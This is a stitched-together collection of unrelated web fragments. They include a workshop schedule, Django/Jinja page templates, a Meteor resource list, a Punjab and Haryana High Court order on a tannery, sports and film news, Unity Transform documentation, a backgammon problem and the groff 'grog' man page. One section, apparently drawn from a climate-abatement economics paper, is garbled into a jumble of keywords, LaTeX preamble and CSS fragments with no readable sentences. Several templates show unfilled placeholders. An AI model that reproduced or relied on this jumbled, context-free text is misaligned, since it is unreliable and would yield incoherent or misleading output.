- 2pm-3pm: Autoenconders and recurrent neural networks and examples from nuclear physics experiments (MK and RR)
- 3pm-330pm: Break, coffee, tea etc
- 330pm-6pm: Hands-on sessions with examples from nuclear physics experiments
Wednesday May 22, 2019:
- 830am-930am: Reinforcement learning (MK)
- 930am-1030am: Introduction to exploratory data analysis and unsupervised learning: PCA (MH)
- 1030am-11am: Break, coffee, tea etc
- 11am-12pm: Clustering and introduction to nonlinear dimension reduction: k-means and t-SNE (MH)
- 12pm-1pm: Lunch
- 1pm-2pm: Nonlinear dimension reduction: Spectral graph theory and manifold learning (MH)
- 2pm-3pm: Boltzmann machines and many-body problems (MHJ)
- 3pm-330pm: Break, coffee, tea etc
- 3pm-6pm: Hands-on sessions with examples from quantum mechanical many-body problems
Thursday May 23, 2019:
- 9am-10am: Current state of Machine Learning research (MK)
- 10am-12pm: Hands-on sessions with examples from nuclear physics, experiment and theory
- Coffee, tea etc at 1030am
- 12pm-1pm: Lunch
- 1pm-5pm: Hands-on sessions with examples from nuclear physics, experiment and theory.
- Coffee, tea, etc at 3pm


{% extends 'base.html' %} {% from 'macros.html' import pagination %} {% block page_title %}{{ _('2013 gallery') }}{% endblock %} {% block og_title %}{{ _('2013 gallery') }}{% endblock %} {% block og_type %}article{% endblock %} {% block og_url %}{{ request.build_absolute_uri() }}{% endblock %} {% block site_css %} {{ super() }} {{ css('videos') }} {% endblock %} {% block content %}
{% trans %} This year we're asking filmmakers and Firefox fans to inspire others to get mobilized by telling the world about the power and potential of mobile. Have a look at the entries and be sure to share your favorites with your friends. {% endtrans %}
{% elif waffle.flag('voting') %}{% trans %} Welcome to the Firefox Flicks 2013 gallery. This year we asked filmmakers to tell stories about the power of the Web on mobile devices. Vote for your favorite flicks and be sure to share them with your friends. {% endtrans %}
{% else %}{% trans %} This year we asked filmmakers and Firefox fans to inspire others to get mobilized by telling the world about the power and potential of mobile. Watch the flicks and be sure to share your favorites with your friends. {% endtrans %}
{% endif %} {% if waffle.flag('voting') %}{% if not user.is_authenticated() %} {% trans sign_in=url('flicks.videos.my_voted_videos') %} Start voting by clicking on your favorite videos or sign in to view your votes. {% endtrans %} {% elif user.vote_count < 1 %} {% trans %} Hi there! It looks like you haven't voted yet. Start voting now by clicking on your favorite videos. {% endtrans %} {% else %} {% trans url=url('flicks.videos.my_voted_videos'), vote_count=user.vote_count %} Hi there! You have voted for {{ vote_count }} flick so far. Keep on voting! {% pluralize vote_count %} Hi there! You have voted for {{ vote_count }} flicks so far. Keep on voting! {% endtrans %} {% endif %}
{% endif %} {% if waffle.flag('voting-end') or waffle.flag('winners-announce') %}{% if not user.is_authenticated() %} {% trans sign_in=url('flicks.videos.my_voted_videos') %} Did you vote for the People's Choice Award? If so, you can sign in to see your selections. {% endtrans %} {% elif user.vote_count < 1 %} {% trans %} Hi there! It looks like you did not vote for the People's Choice Award. {% endtrans %} {% else %} {% trans url=url('flicks.videos.my_voted_videos'), vote_count=user.vote_count %} You've voted for {{ vote_count }} flick as a part of our People's Choice Awards. {% pluralize vote_count %} You've voted for {{ vote_count }} flicks as a part of our People's Choice Awards. {% endtrans %} {% endif %}
{% endif %}{% trans datetime=video.created.strftime('%Y-%m-%d'), date=video.created|babel_date %} Submitted {% endtrans %}


Meteor jobs:
For the most up-to-date Meteor jobs, follow MeteorJS Jobs on Twitter:
@MeteorJobs
We Work Meteor Jobs
StackOverflow Meteor Jobs
Indeed Meteor Jobs
Odesk Meteor Jobs
Simply Hired Meteor Jobs
Linked in Meteor Jobs
Meteor Jobs discussed and advertised on Meteor Talk Google Group
Most Helpful Meteor Resources
Somewhat surprisingly, given Meteor’s relative newness, you can find quite a few helpful Meteor blogs and websites. Knowing who, which Meteor guru, to follow and which websites to rely on requires a bit of research, so I will save you some time.
I don’t want to overwhelm you with Meteor resources (many are popping up almost daily, and most seem to overlap), so I will keep the list brief with those that I find most helpful:
- Crater.io: A Hacker News style news site for Meteor. Get the latest Meteor news, updates, and blog posts from around the web.
- Meteor Cookbook: An exhaustive resource with invaluable Meteor tips
- Meteor Tips: Here you can find a number of quality Meteor tutorials from an author who always writes with the patience and diligence of an elementary school math teacher.
- Meteor Help: This site has you covered from head to toe in Meteor resources. What else do you need?
- Discover Meteor Blog: A reputable blog from the acclaimed authors (Sacha Greif and Tom Coleman) of the DiscoverMeteor book.
- Meteor Talk: Ask questions, discuss, share, meet up, and more
- Meteor Academy: Be inspired and learn from a transformational Meteorite bursting through the atmosphere
- The Meteor Podcast: Kick back with a cup of coffee and enjoy; I do.
- MeteorPad: Write Meteor code in the browser, like JSBin


bonartm/hugo-quiz
Here is a simple example of a quiz, written in markdown using hugo shortcodes
Click on the submit button to see the result.
submit


{% extends 'base.html' %} {{block.super}} {% block content %}
Location: {{image.location.location}}
Title: {{image.image_name}}
Description: {{image.description}}


libunixonacid libskarnet skalibs Software skarnet.org
The following functions are declared in the skalibs/unix-timed.h header, and implemented in the libskarnet.a or libskarnet.so library.
FIXME: to be completed.


We're sorry but Blockchain Explorer doesn't work properly without JavaScript enabled. Please enable it to continue.


examples
There are a number of new examples of Thymol usage in the 2.0 distribution download file (from sourceforge).
You can see some of these examples in action by trying the following links:
- sessions the persistent session examples in the examples/templates/thymol/2.0/sessions directory.
- say-hello the extending Thymeleaf in 5 minutes example (Thymol style) in the examples/templates/thymol/2.0/say-hello directory.
- stsm example the extending Thymol to implement some Thymeleaf + Spring examples in the examples/templates/v21/stsm directory.
- with-dialect a Thymol version of antibrumm's thymeleaf-extras-with-dialect in the examples/templates/v21/ecosystem/with-dialect directory.
- extrathyme a Thymol version of the extrathyme custom dialect example in the examples/templates/v21/extrathyme/ directory.
- petclinic a Thymol enhanced version of the Thymeleaf-enabled SpringSource example application (see here). You can find the complete project on github here.
- this site the site you're currently browsing is built with Thymol 2.0. For full details go here.


Event Guidelines
Rules for answers
Your answer must be in all small letter.
No symbols, space or capital letter is accepted as answers.
Example : If there are two words like Captain America. Then your answer should be captainamerica.
{% load static %}
Example : If there are two words like Captain America. Then your answer should be captainamerica.


Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
IN THE HIGH COURT OF PUNJAB AND HARYANA AT CHANDIGARH CWP-11542-2020 (O&M) Date of decision:- 10.08.2020 Amsan Leather Industries ...Petitioner(s) Versus State of Punjab and another ...Respondent(s) CORAM: HON'BLE MR. JUSTICE RAVI SHANKER JHA, CHIEF JUSTICE HON'BLE MR. JUSTICE ARUN PALLI Present: Mr. Kunwar Puneeet Singh, Advocate, for the petitioner. Mr. Pankaj Gupta, Additional Advocate General, Punjab. ****
RAVI SHANKER JHA, C.J. (ORAL) With the consent of learned counsel for the parties, the matter is being taken up and heard via video conferencing (Webex App software).
The petitioner, a private limited company is engaged in the business of leather tanning by use of both wet and dry processing in its plant situated at Jalandhar. The premises of the petitioner was ordered to be sealed by Punjab Pollution Control Board due to non-conforming to the norms laid down as per Schedule-1 (16) of the Environment (Protection) Rules, 1986 as also under the Water (Prevention and Control of Pollution) Act, 1974, in compliance of the direction passed by a Division Bench of this Court on 29.10.2019 (Annexure P-1), examining the violation of the norms by the tanneries operating at Jalandhar.
The present writ petition has been filed seeking a writ of mandamus for allowing the petitioner to operate its unit at least by use of the dry processing by restoring the electricity and water connection in terms of the consent granted by the Punjab Pollution Control Board vide letter dated 27.07.2020 (Annexure P-7).
It is pointed out that the issue raised in this petition has already been decided on 15.06.2020 by a Division Bench of this Court in CWP-7687-2020 titled as Lakshay International Pvt. Ltd. Vs State of 1 of 2 ::: Downloaded on - 06-09-2020 07:07:17 ::: CWP-11542-2020 (O&M) 2 Punjab and another, which fact is not disputed by learned Additional Advocate General, Punjab.
In view of the above, the present petition is disposed of in the same terms as CWP-7687-2020.
(RAVI SHANKER JHA) CHIEF JUSTICE (ARUN PALLI) JUDGE 10.08.2020 Amodh Whether speaking/reasoned Yes/No Whether reportable Yes/No 2 of 2 ::: Downloaded on - 06-09-2020 07:07:18 :::


DEPRECATED. The fd-dropdown-control
is deprecated, we recommend to use
Menu Button instead.
The dropdown component is an opinionated composition of the “fd-popover” and “fd-menu” components with the
use of a styled
button. It allows users to make one selection from a list. It is more flexible than the normal Select. Generally, it
should
be used when there are between 3 to 10 or more options.
This component is completely composed from other components.
The dropdown can be opened via keyboard by pressing enter or the space bar when focused. Dropdown menu items are not
automatically tab-indexed - see the Menu component documentation for more details.


{% extends "base.html" %} {% block css %} {% endblock %} {% block body %}
Click on a dataset name to get more information.
For stats on your dataset, see the Dataset statistics tab.
To view some sample tweets, see the Sample tweets tab.
This freezes the dataset parameters. If you did not enter any parameters, you will be taken to a page with a list of available files for download.
Enter your email address and select the file formats you would like. Tweet JSON and Tweet CSV are only available to users on the GW network.
You will receive an email when the dataset files have been created. Be patient. Extracts from large datasets make take hours or days to complete.
Your dataset now has a URL which you can return to later.
You can find your datasets under Previous datasets.
Files when ready for download.


Simple directive
A DEALER NAME
123 STREET NAME
CITY,
STATE 12345
Use a 3rd party widget as a directive
pikaday.js example
Selected Date:
{{ theDate }}


Pundit names the “outstanding” Liverpool star who’s proven him wrong
by Magnus EriksenPaul Merson has hailed the form of Liverpool midfielder Fabinho, who has fast become one of the Reds’ most important players.
It took some time for the Brazil international to settle at Anfield following his move from Monaco last season, and Merson admits he wasn’t convinced by him when he first arrived.
MORE: Premier League team of the week: Liverpool & Man City stars in BBC XI, plus duo from Mourinho’s first Tottenham win
There’s no doubt now, however, that Fabinho has proven an excellent purchase by Jurgen Klopp, with his defensive play and range of passing making him the perfect midfield player.
The 26-year-old also recently scored a screamer for Liverpool in their 3-1 Premier League win over Manchester City at Anfield.
That’s a nice bonus to have from a defensive midfielder, and Merson has admitted he must now be one of the first names on Klopp’s team sheet.
“At first I wasn’t [convinced] when he came from Monaco. Now, I think he’s absolutely outstanding, I think he’s one of the first players on the team-sheet,” the Sky Sports pundit is quoted by HITC.
Klopp has truly pulled off a number of masterstrokes in the transfer market since becoming LFC manager, with most of the team now made up of his signings, with Fabinho up there alongside Virgil van Dijk, Alisson, Mohamed Salah, Sadio Mane and Andrew Robertson as his best finds.


Spack
A modern solution using blockchain-powered Machin learning
Spack
A modern solution using blockchain-powered Machin learning
Blockchain
Using van-guarde technlogies with Blockchain.
Machine Learning
Don't learn. Make the machine learn for you.
Procedural generation
Generation after generation, quality unmatched.


This is a very interesting game that lets you use your wits to find out if a number is either divisible by 3 or by 5.
If a number is divisible by 3, "Ping" will be displayed, if it is divisible by 5,"Pong" will be displayed. If its divisible by both,"Ping-Pong"will be displayed, else, the number you input will be displayed to signify that its neither divisible by 3 nor 5
Enjoy the Game even as you play it!!
LETS PLAY NOW!!!
Rules:
Ping-Pong will count your number from 1 with the following exceptions
Numbers divisible by 3 become "Ping"
Numbers divisible by 5 become "Pong"
Numbers divisible by both 3 and 5 become "PingPong"


{% extends 'teamwork/base.html' %} {% block main_content %} {% if all_employees %}
| Department Id | Name | Description | Teams |
|---|---|---|---|
| {{department.department_id}} | {{department.department_name}} | {{department.Teams}} |
You dont have any department
{% endif %} {% endblock %}


Front Page
Home
About
In Class Learn Images
Resume
Week04-Day01
Front page
Style.css
About
List-Buttons
Download Image
Learning HTML and CSS
This is a paragraph
More Information
This is more Information
Yet more information
This is yet more information
Red Heading


--- layout: post title: A Decade Ago Today... date: 2011-01-20 06:10:54.000000000 -05:00 categories: - Celebrations - Family Life - Recommendations tags: - Nolan Bradbury - Warrnambool - Wedding status: publish type: post published: true meta: aktt_notify_twitter: 'no' _edit_last: '1' _wp_old_slug: '' dsq_thread_id: '1188583675' author: login: cint email<EMAIL_ADDRESS>display_name: Jacinta first_name: Jacinta last_name: '' ---
Greg and I were married at Proudfoots on the River, Warrnambool, Victoria. The ceremony was held in a converted boatshed (very quaint actually). It rained, of course, but once the vows were all said and done, the rain stopped. It was a wonderful day that was filled with many special memories and people.
I love Greg dearly, more as each year passes and I am so glad I have him by my side as we journey through the years. We have three beautiful kids, a home, mortgage, well, the whole package really. Wouldn't have it any other way. We only hope the next 10 years can be just as much fun, filled with all the wonder of new adventures waiting to be had. Love you sweetheart, Jacinta xx
[caption id="attachment_427" align="aligncenter" width="600" caption="Photo by Nolan Bradbury"][/caption]
[caption id="attachment_422" align="aligncenter" width="600" caption="Photo by Nolan Bradbury"][/caption]
[caption id="attachment_420" align="aligncenter" width="600" caption="Photo By Nolan Bradbury"][/caption]
[caption id="attachment_421" align="aligncenter" width="600" caption="Photo by Nolan Bradbury"][/caption]
[caption id="attachment_419" align="aligncenter" width="435" caption="Photo By Nolan Bradbury"][/caption]
[caption id="attachment_424" align="aligncenter" width="448" caption="Photo by Nolan Bradbury"][/caption]
If you have been blessed to have found love at first sight,
You will know it's a magic,
only your heart can describe.
Written by Jacinta, especially for our wedding day, 20th January, 2001
Our photo's were taken by the talented Nolan Bradbury. Nolan Bradbury's permission was granted to reproduce his work here on my blog. Thanks Nolan. Here is a link to his website.


The Transform is used to store a GameObject’s position, rotation, scale and parenting state and is thus very important. A GameObject will always have a Transform component attached - it is not possible to remove a Transform or to create a GameObject without one.
Transforms are manipulated in 3D space in the X, Y, and Z axes or in 2D space in just X and Y. In Unity, these axes are represented by the colors red, green, and blue respectively.
A Transform can be edited in the Scene View or by changing its properties in the Inspector. In the scene, you can modify Transforms using the Move, Rotate and Scale tools. These tools are located in the upper left-hand corner of the Unity Editor.
The tools can be used on any object in the scene. When you click on an object, you will see the tool gizmo appear within it. The appearance of the gizmo depends on which tool is selected.
When you click and drag on one of the three gizmo axes, you will notice that its color changes to yellow. As you drag the mouse, you will see the object translate, rotate, or scale along the selected axis. When you release the mouse button, the axis remains selected. If you subsequently drag with the middle mouse button, the axis last selected will be used regardless of the mouse position.
There is also an additional option in Translate mode to lock movement to a particular plane (ie, allow dragging in two of the axes while keeping the third unchanged). The three small coloured squares around the center of the Translate gizmo activate the lock for each plane; the colors correspond to the axis that will be locked when the square is clicked (eg, blue locks the Z axis).
Parenting is one of the most important concepts to understand when using Unity. When a GameObject is a Parent of another GameObject, the Child GameObject will move, rotate, and scale exactly as its Parent does. You can think of parenting as being like the relationship between your arms and your body; whenever your body moves, your arms also move along with it. Child objects can also have children of their own and so on. So your hands could be regarded as “children” of your arms and then each hand has several fingers, etc. Any object can have multiple children, but only one parent. These multiple levels of parent-child relationships form a Transform hierarchy. The object at the very top of a hierarchy (ie, the only object in the hierarchy that doesn’t have a parent) is known as the root.
You can create a Parent by dragging any GameObject in the Hierarchy View onto another. This will create a Parent-Child relationship between the two GameObjects.
Note that the Transform values in the Inspector for any child GameObject are displayed relative to the Parent’s Transform values. These values are referred to as local coordinates. Returning to the analogy of body and arms, the position of your body may move as you walk but your arms will still be attached at the same relative position. For scene construction, it is usually sufficient to work with local coordinates for child objects but in gameplay it is often useful to find their exact position in world space or global coordinates. The scripting API for the Transform component has separate properties for local and global position, rotation and scale and also allows you to convert any point between local and global coordinates.
Non-uniform scaling is when the Scale in a Transform has different values for x, y, and z; for example (2, 4, 2). In contrast, uniform scaling has the same value for x, y, and z; for example (3, 3, 3). Non-uniform scaling can be useful in a few specific cases but it introduces a few oddities that don’t occur with uniform scaling:-
The scale of the Transform determines the difference between the size of a mesh in your modeling application and the size of that mesh in Unity. The mesh’s size in Unity (and therefore the Transform’s scale) is very important, especially during physics simulation. By default, the physics engine assumes that one unit in world space corresponds to one metre. If an object is very large, it can appear to fall in “slow motion”; the simulation is actually correct since effectively, you are watching a very large object falling a great distance.
There are three factors that can affect the scale of your object:
Ideally, you should not adjust the Scale of your object in the Transform Component. The best option is to create your models at real-life scale so you won’t have to change your Transform’s scale. The next best option is to adjust the scale at which your mesh is imported in the Import Settings for your individual mesh. Certain optimizations occur based on the import size, and instantiating an object that has an adjusted scale value can decrease performance. For more information, see the section about optimizing scale on the Rigidbody component reference page.


--- layout: post title: Challenge - Code Every Day categories: - Meta Game tags: - programming status: publish type: post published: true ---
You know what will make you a phenomenally better developer? Deliberate practice. How do you get such practice? By doing it every single day. Random bursts of effort over the odd weekend will gain you practically nothing comparatively, even if the time investment is the same. Your mind needs repetition and consistent effort to improve. So what do you want to get better at? Pick your highest value subject: vim, regex, functional programming, meta-programming, OO, TDD, async co-routines, threading, graphics, web, etc, etc, and practice it every single day. Easy as that.
When GitHub first came out with the "streak" feature on the front page, I realized it was time to stop my binge coding on the occasional weekend and start a system. Inspired by other recent system-based successes (working out every day), I decided to code every day for a year.
I quickly realized that anything requiring detailed plans and designs is harder to do. Working though a book, on the other hand, is easy to start and stop. I started working through a book I had tried to read before: Let Over Lambda.
Let Over Lambda is intense, filled with deeply complex concepts written in Common Lisp, a language with which I was only passingly familiar. But I managed to get through it without hardly any difficulty. How did I do that?
I got a cheap netbook, and started to code on the train ride home. Interestingly, without any internet, I was much less distracted, and could just sit down and be in the zone within the minute (this from the guy whom it takes 20+ minutes to get in the zone at work). With only a limited span of ~25 minutes, I had no time to waste, and without people to talk to my brain just falls into it. I can only pinpoint a few times I could not get into the zone, and those were extreme circumstances of exhaustion or illness.
In ten months, I have:
Before you scoff and point out that not everyone can take the train to work, consider this: get a portable computer, load up your environment, tools, and some pdfs. The next morning, leave for work ~25 minutes early. You will probably get in way sooner due to the decreased traffic (now you have earned back that time). Sit quietly in your car, and without the distractions of internet or other people, knock out a little programming. Maybe start with SICP (the best programming book I have ever read). See how much you can read and do before work starts. Do that for a month, every day. I guarantee you will learn something amazing.


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Money Play. How should Red play 44?
pips Red=81 White=68
(CorrectAnswer= 0/0, ErrorScore= 0)
I had this position as White in a chouette where I held the box.
I was delighted when my opponents found the truly awful 13/9(2), 5/1(2)*. After my 65 from the bar I won the game and even got in a redouble that my opponents had to take.
Only two plays are not blunders here: 13/9, 13/1* and 13/1*, 8/4. White’s entering 12, 13, 14 and 15 all leave an additional blot for Red to aim at (and increase his gammon chances) and if White stays on the bar Red should easily bring the game home.
My thanks to my opponents for their very weak play!
I was delighted when my opponents found the truly awful 13/9(2), 5/1(2)*. After my 65 from the bar I won the game and even got in a redouble that my opponents had to take.
Only two plays are not blunders here: 13/9, 13/1* and 13/1*, 8/4. White’s entering 12, 13, 14 and 15 all leave an additional blot for Red to aim at (and increase his gammon chances) and if White stays on the bar Red should easily bring the game home.
My thanks to my opponents for their very weak play!
1. Cubeful 2-ply 13/1* 8/4 Eq.: +0.520 0.781 0.044 0.001 - 0.219 0.026 0.000 2. Cubeful 2-ply 13/1* 13/9 Eq.: +0.512 (-0.008) 0.781 0.048 0.001 - 0.219 0.038 0.000 3. Cubeful 2-ply 13/5 13/9 8/4 Eq.: +0.454 (-0.065) 0.756 0.011 0.000 - 0.244 0.001 0.000 4. Cubeful 2-ply 13/5(2) Eq.: +0.443 (-0.077) 0.751 0.012 0.000 - 0.249 0.002 0.000 5. Cubeful 2-ply 13/9(2) 5/1*(2) Eq.: +0.433 (-0.086) 0.749 0.012 0.000 - 0.251 0.006 0.000


Constantly improve your lead nurturing skills. With SimpleDrops you will see best combinations of calls to action and content.
Getting new clients and selling to someone who already bought something from you are two different things. SimpleDrops will never confuse these two situations. It gives you ability to segment contacts basing on how they were collected.
SimpleDrops can see the difference between someone who subscribed after shopping or someone who was just looking without logging in. All that is based on tagged subscription forms. You can create many of them and each one will be treated differently.


Chapter 38. DB2 Contingency Planning
IN THIS CHAPTER
Contingency planning for disaster recovery is a complex task in the best of situations. Unfortunately, the best of situations does not exist in a DB2 environment. This chapter defines the limitations of DB2 in the framework of disaster recovery and suggests solutions to the problems that these limitations create. This chapter pertains to the recovery of DB2 application data, not to the recovery of the DB2 subsystem (and related data).
Suggestions, cautions, requirements, and techniques are provided to help you create a disaster recovery plan for your DB2 applications.
|


abatement $$\end{document} \begin{document}$$ \documentclass[pt]{minimal} \setlength{\oddsidemargin}{-pt} \usepackage{amsbsy} \usepackage{amsfonts} \usepackage{amsmath} \usepackage{amssymb} \usepackage{mathrsfs} \usepackage{upgreek} \usepackage{wasysym} permit global marginal cost countries Eq. country level burden Lindahl climate target market sharing Nash capita sum total income social change equal pay levels optimal public rich higher planner Annex price solution utility world willingness given gives rule {border-style assigned market, px;} share #ffffff;} costs USA abatement, carbon poor ability actual constraint function benefits lower polluter shares America burdens consumption emission lump market. redistribution set (see Appendix choose emissions equilibrium outcome pays regions relative respect transfer Econ chosen condition countries. different equals level. national payments regimes term welfare Stern abate according countries, determined emissions, exp good high permits regime second sub-optimality North Table abatement. benefit case change. contributions level, low point px; resource rules times uniform {font-family (e.g., (the Africa Pareto Taking approach assess based contribute country, damages divided expected font-size income, optimum power principle. terms warming Europe Fig. Nordhaus Note Paris South Therefore, University \kern.em adaptation average combat compared derived double; e.g., equalized fair household instead model negative parameter positive production provision rate reduction requires results taking time transfers versus zero {A}_i}{\partial {u}_{y_i^c}={\lambda}_i (in Buchholz Climate Environ LHS Mt. Samuelson Thus, \Rightarrow billion border-color border-width choice costs. country’s damage economics effect efficiency empirical expression greenhouse increasing install is, maximizes net non-cooperative population price, principle private problem proportional q}{\partial regions. removed responsibility role shares, sides solid; solve states tonne using way {font-style {font-weight {y}_i^c (due (labeled ./s--- Abatement Article Bohm Central Cramton Downloaded Elzen First, GDP Given Glob However, IPCC International Kyoto LE, Lagrange Larsen Oceania Peters Review Section Stoft \alpha agreement appropriate assign bold conditions considered contribution cost, countries’ courier; developed developing em; externalities fairness far good. implies impose incomes individual instance, interpreted line literature main measure member objective operate order overall paid paper pay. preferences price. provides pt;} rates redistribution, regimes, required rest result review simulation solved specific. specified substitution value −


Record the current results of your queries is useful for two purposes: 1) to compare future work against this snapshot and 2) to faciliate creating ratings. A snapshot stores the individual queries in a case, the ratings made, and optionally all the fields returned for the documents.
To facilitate the human rating interface, you need to record as part of the snapshot all the displayed fields for each document returned.
This will be the {{ fieldSpec }}
fields.


BREAKING! Daniel Craig Confirms ‘No Time To Die’ As His Last James Bond Film
The actor confirmed it during an appearance on "The Late Show with Stephen Colbert" on Friday.
by IANSHollywood actor Daniel Craig, who has been playing the fictional spy James Bond in the popular film franchise since 2005, is “done” essaying the role.
The actor confirmed it during an appearance on “The Late Show with Stephen Colbert” on Friday, reports people.com.
“Are you done with Bond,” asked host Stephen Colbert, to which Craig, 51, replied, “Yes.”
“It’s done,” he added.
Earlier in the week, Craig also opened up about moving on. “Someone else needs to have a go,” he told German outlet Express, according to Esquire.
Craig’s last outing as Bond will be in the forthcoming movie “No Time to Die”, which is set to release in April 2020.
Earlier this year, after wrapping up the film, Craig discussed his complicated relationship with the franchise.
“This may be hard to believe,” Craig told The Sunday Times, “but I love the fact I’m Bond. We’re in rare air, making Bond movies. It is one of the most intense, fulfilling things I’ve ever done, but it takes a lot of energy and I’m getting old. I’m getting creaky.”


@benchmarking {
The production process within a football club consists of several smaller processes which are hard to express in one single DEA-stage. To meet this problem, it is possible to split up the production into several stages in order to get a deeper insight into the processes and to draw better conclusions for possible improvements. In his paper on efficiency and effectiveness in Spanish football teams, Garcia-Sanchez [29] has shown the usefulness of this approach in the context of professional football. He employed a three stage DEA-approach by separating the production process in operating defensive and offensive efficiency (1. Stage), operating effectiveness and social effectiveness. In this approach, the respective efficiency score of the preceding stage is used as an input for the following stage. For the understanding, it is important to clarify the difference between efficiency and effectiveness: While efficiency refers to how well something is done, effectiveness is about how useful something is. Below you can see an example for Multistage DEA in professional football based on Garcia-Sanchez [29]:


Developed in Java, the Collaborative Graphical Editor to allow multiple
users to design and edit simple designs at the same time.
There are five components to this project:
-
An editor sends requests to, according to the user's commands,
and receives requests from the editor communicator. Its state
is updated according to the command the editor communicator passes on.
-
An editor communicator sends requests to and receives requests
from the sketch server communicator.
-
Handle message is a middleman that intercepts requests to the
editor communicator and the sketch server communicator. Because all
forms of communication is done through strings, it analyzes which
commands need to be executed according to the string that is passed.
-
A sketch server communicator sends requests to the server and
receives requests from the editor communicator.
-
The sketch server updates the overall state and passes it onto clients.
Four options were implemented: 'draw', 'move', 'recolor', and 'delete'.
The user can draw an ellipse, rectangle, a polyline(free drawing line), or
a straight line. The user can also select any color of his/her choice.


{:__('测试代码')}:
点击此处，查看使用说明
include "TopSdk.php"; date_default_timezone_set('Asia/Shanghai'); $c = new DingTalkClient(DingTalkConstant::$CALL_TYPE_OAPI, DingTalkConstant::$METHOD_GET , DingTalkConstant::$FORMAT_JSON); $req = new OapiDepartmentListRequest; $resp = $c->execute($req, $access_token, "https://oapi.dingtalk.com/department/list");


{% extends "narrow_base.html" %} {% load staticfiles %} {% load i18n %} {% load bootstrap3 %} {% block title %} {% if form.runner.value %} {% blocktrans with username=form.runner.value %} Sponsor {{username}} {% endblocktrans %} {% else %} {% blocktrans %} Sponsor someone {% endblocktrans %} {% endif %} {% endblock %} {% block imports %} {% endblock %} {% block body %}
{% blocktrans with username=runner.username %} Fill out these fields down here to sponsor {{ username }}. Between the dates in start date and end date, any time {{ username }} runs, you will agree to donate the number of dkk in the "rate" field to Masanga Hospital. If you're worried that your runner will run too much, don't worry too much! You won't be charged more than the number you put in the "max amount" field, no matter how much they run. {% endblocktrans %}
{% endblock %}


Ordered lists will use the first number as start number and continue counting from there.
HTML does not allow lists in paragraphs, so the following should end the paragraph before starting the list:


grog.1 - man page for grog (section 1)
Source file position: <groff_source_top>/src/roff/grog/grog.man Installed position: $prefix/share/man/man1/grog.1
Last Update: 22 Jan 2011 Copyright (C) 1989-2003, 2006, 2007, 2009-2012 Free Software Foundation, Inc.
Written by James Clark. Maintained by
Werner Lemberg
Rewritten and put under GPL by Bernd Warken<EMAIL_ADDRESS>This file is part of grog , which is part of groff , a free software project.
You can redistribute it and/or modify it under the terms of the
GNU General Public License
(f[CR]GPLf[]) as published by the
Free Software Foundation
either version~2, or (at your option) any later version.
You should have received a copy of the f[CR]GNU General Public Licensef[] along with groff , see the files %f[CB]COPYINGf[] and %f[CB]LICENSEf[] in the top directory of the groff source package.
Or read the man\~page gpl (1).You can also write to the
Free Software Foundation, 51 Franklin St - Fifth Floor, Boston, MA 02110-1301, USA .
\\$1
grog - guess options for groff command
-h | --help
-v | --version
grog reads the input (file names or standard input) and guesses which of the groff (1)options are needed to perform the input with the groff program.
The corresponding groff command is output.
The only grog options recognized are -C (which is also passed on) to enable compatibility mode; -v and --version print information on the version number; and -h and --help print usage information.
-v, --version, -hand --help stop the program directly without printing a groff command to standard output.
All other specified short options (words starting with one minus character - )are interpreted as groff options or option clusters with or without argument.
No space is allowed between options and their argument.
Except from the -m arg options, all options will be passed on, i.e. they are included unchanged in the command for the output without effecting the work of grog .
A filespec argument can either be the name of an existing file or a single minus - to mean standard input.
If no filespec is specified standard input is read automatically.
grog reads all filespec parameters as a whole.
It tries to guess which of the following groff options are required for running the input under groff :, -e, -man, -me, -mm, -mom, -ms, -mdoc, -mdoc-old, -p, -R, -g, -G, -sand -t .The guessed groff command including those options and the found filespec parameters is put on the standard output.
It is possible to specify arbitrary groff options on the command line.
These are passed on the output without change, except for the -m arg options.
The groff program has trouble when the wrong -m arg option or several of these options are specified.
In these cases, grog will print an error message and exit with an error code.
It is better to specify no -m arg option.
Because such an option is only accepted and passed when grog does not find any of these options or the same option is found.
If several different -m arg options are found by grog an error message is produced and the program is terminated with an error code.
But the output is written with the wrong options nevertheless.
Remember that it is not necessary to determine a macro package.
A roff file can also be written in the groff language without any macro package.
grog will produce an output without an -m arg option.
As groff also works with pure text files without any roff requests, grog cannot be used to identify a file to be a roff file.
The groffer (1)program heavily depends on a working grog .
The grog source contains two files written in different programming languages:
grog.pl is the Perl version, while grog.sh is a shell script using awk (1).During the run of make (1)it is determined whether the system contains a suitable version of perl (1).If so, grog.pl is transformed into grog ;otherwise grog.sh is used instead.
Calling
grog meintro.me
results in
groff -me meintro.me
So grog recognized that the file
is written with the -me macro package.
On the other hand,
grog pic.ms
outputs
groff -pte -ms pic.ms
Besides determining the macro package -msgrog recognized that the file
additionally needs -ptethe combination of -p for pic , -t for tbl , and -e for eqn .
If both files are combined by the command
grog meintro.me pic.ms
an error message is sent to standard error because groff cannot work with two different macro packages:
grog: error: there are several macro packages: -me -ms
Additionally the corresponding output with the wrong options is printed to standard output:
groff -pte -me -ms meintro.me pic.ms
But the program is terminated with an error code.
The call of
grog -ksS -Tdvi grnexmpl.g
contains several groff options that are just passed on the output without any interface to grog .These are the option cluster -ksS consisting of -k, -sand -S ;and the option -T with argument dvi .The output is
groff -ksS -Tdvi grnexmpl.g
so no additional option was added by grog .As no option -m arg was found by grog this file does not use a macro package.
groff (1), troff (1), tbl (1), pic (1), chem (1), eqn (1), refer (1), grn (1), grap (1), soelim (1), groff_me (7), groff_ms (7), groff_mm (7), groff_mom (7), groff_man (7), groffer (1)


Fremont Main Library - 3/1/15
On March 1, we collaborated with teams 7591 Voltage of Imagination, 8865 Intersect, and 7303 RoboAvatars to conduct an informational presentation about robotics at the Fremont Main Library. We explained the game challenge; demonstrated our robot; answered questions about our team, robot, and the competition; and let people try driving our robot.
Future Plans
We plan to continue presenting about FTC and our team at public libraries and schools through June.


currently using your url :
Just paste your snippet here and go to
on your other device to retrieve it.
You can also customize your own url into /whatever ;)
This is an online clipboard.


{% extends "easyrequest_hay_app_templates/base.html" %} {% block page_title %} easyrequest-hay problem {% endblock page_title %} {% block extra_css %} {% endblock extra_css %} {% block content %}
{{ problem }}
If this problem persists, please contact {{ email_help }}.
This web-application is designed to work with Josiah, the Library's search web-application. If you think you should be able to use this service, but cannot, please contact {{ email_help }}.
{{ context_handle }}{% endcomment %} {% endblock content %}


Michael duPont
Turing Home
Networking Projects
Custom Projects
Other Files
Networking Projects
Set a Cookie
Sets a cookie on the client browser to welcome to/back to the site
Custom Projects
RPS Game
Play a game of rock, paper, scissors using my JavaScript
Other Files
Simple Text
A demo with just a text field, echoed to the user
A template for a cgi script
.
